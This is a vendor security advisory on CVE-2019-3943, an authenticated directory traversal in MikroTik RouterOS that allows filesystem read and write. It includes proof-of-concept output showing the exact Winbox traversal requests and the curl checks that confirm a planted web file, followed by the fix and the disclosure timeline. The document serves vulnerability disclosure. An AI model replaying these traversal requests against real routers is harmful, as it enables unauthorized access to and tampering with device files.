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MikroTik RouterOS Authenticated Directory Traversal

High
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Synopsis

Tenable discovered a vulnerability while analyzing MikroTik's RouterOS 6.42.12 (a long-term release). The vulnerability is an authenticated, remote directory traversal that gives an authenticated attacker mkdir, read, and write access to files outside of the sandbox path, /rw/disk. An attacker has read access to the entire filesystem and write access to all locations that aren't marked as read-only.

This vulnerability is very similar to CVE-2018-14847. The major difference is that this new vulnerability exists in the fileman binary (SYS_TO number: 72) and it requires authentication to invoke it. Otherwise, the traversal logic is the same and it can be reached over HTTP or Winbox (8291).

The following output is from a proof of concept that creates a webpage that simply says "hello!"

albinolobster@ubuntu:~/routeros/poc/cve_2019_3943/build$ curl http://192.168.1.15/webfig/lol.txt
<html>
<head><title>Error 404: Not Found</title></head>
<body>
<h1>Error 404: Not Found</h1>
</body>
</html>
albinolobster@ubuntu:~/routeros/poc/cve_2019_3943/build$ ./cve_2019_3943_poc -i 192.168.1.15 -p 8291
req: {bff0005:1,uff0006:1,uff0007:6,s1:'//./.././.././../pckg/lol',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:1,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:2,uff0007:6,s1:'//./.././.././../pckg/lol/home',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:2,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:3,uff0007:6,s1:'//./.././.././../pckg/lol/home/web/',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:3,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:4,uff0007:6,s1:'//./.././.././../pckg/lol/home/web/webfig',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:4,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:5,uff0007:1,s1:'//./.././.././../pckg/lol/home/web/webfig/lol.txt',Uff0001:[72,1]}
resp: {ufe0001:1,uff0003:2,uff0006:5,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,ufe0001:1,uff0006:6,uff0007:2,r5:[104,101,108,108,111,33,10],Uff0001:[72,1]}
resp: {uff0003:2,uff0006:6,Uff0001:[],Uff0002:[72,1]}
albinolobster@ubuntu:~/routeros/poc/cve_2019_3943/build$ curl http://192.168.1.15/webfig/lol.txt
hello!
albinolobster@ubuntu:~/routeros/poc/cve_2019_3943/build$

Solution

Upgrade to RouterOS 6.44RC1 or newer for all releases (long-term, stable, and test)

Additional References

https://github.com/tenable/routeros/tree/master/poc/cve_2019_3943

Disclosure Timeline

02/11/2019 - Initial discovery.
02/12/2019 - Reported to MikroTik. 90 days is May 14.
02/13/2019 - MikroTik states, "we are looking into it, and will let you know as soon as we have reproduced it and provided a fix. "
04/03/2019 - Tenable asks if MikroTik was able to reproduce.
04/08/2019 - MikroTik states, "The problem was resolved February 13, the fixed version 6.44 was released to web on February 15 as RC1 and later made it into 6.44 stable release too."
04/08/2019 - Tenable thanks MikroTik.
04/08/2019 - Tenable verifies the fix did in fact go out in February. Tenable notes, no information about the patch appears in the RouterOS release notes. Tenable was also not notified.
04/08/2019 - It has been pointed out there is a changelog entry. It reads: "webfig: improved file handling;"

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2019-3943
Tenable Advisory ID: TRA-2019-16
Credit:
Jacob Baines
CVSSv2 Base / Temporal Score:
7.5 / 6.2
CVSSv2 Vector:
AV:N/AC:L/Au:S/C:C/I:P/A:N
Affected Products:
RouterOS Stable 6.43.12 and below
RouterOS Long-term 6.42.12 and below
RouterOS Testing 6.44beta75 and below
Risk Factor:
High

Advisory Timeline

04/08/2019 - Initial Release
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